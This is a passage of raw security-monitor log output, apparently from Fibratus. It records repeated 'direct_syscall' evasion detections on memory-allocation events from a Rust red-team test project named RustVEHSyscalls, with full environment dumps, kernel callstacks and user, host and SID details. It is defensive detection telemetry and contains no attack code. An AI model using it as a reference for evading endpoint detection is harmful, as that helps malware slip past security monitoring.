Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff68fc88d6e C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff690118ddc C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff69011873a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fc63d2d C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff690344041 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff690114ec9 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff11c9e C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fefbf5b C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0be86 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 902939 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 4 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:57.990307 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ d0f50e2000, exeâžœ C:\Users\nedo\.cargo\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 15532, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff68fd0031b C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fcbcaf3 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fc8941e C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff690118ddc C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff69011873a C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fc63d2d C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff690344041 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff690114ec9 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68ff11c9e C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fefbf5b C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb0be86 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb053c4 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fa3ec36 C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff68fb151ea C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ff6902f811c C:\Users\nedo\.cargo\bin\cargo.exe!?|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:12:59+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 902954 + Pid: 15532 + Tid: 3468 + Type: VirtualAlloc + CPU: 4 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:57.990817 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ d0f50e1000, exeâžœ C:\Users\nedo\.cargo\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 15532, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 15532 + Ppid: 9772 + Name: cargo.exe + Parent name: powershell.exe + Cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Users\nedo\.cargo\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.cargo\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program 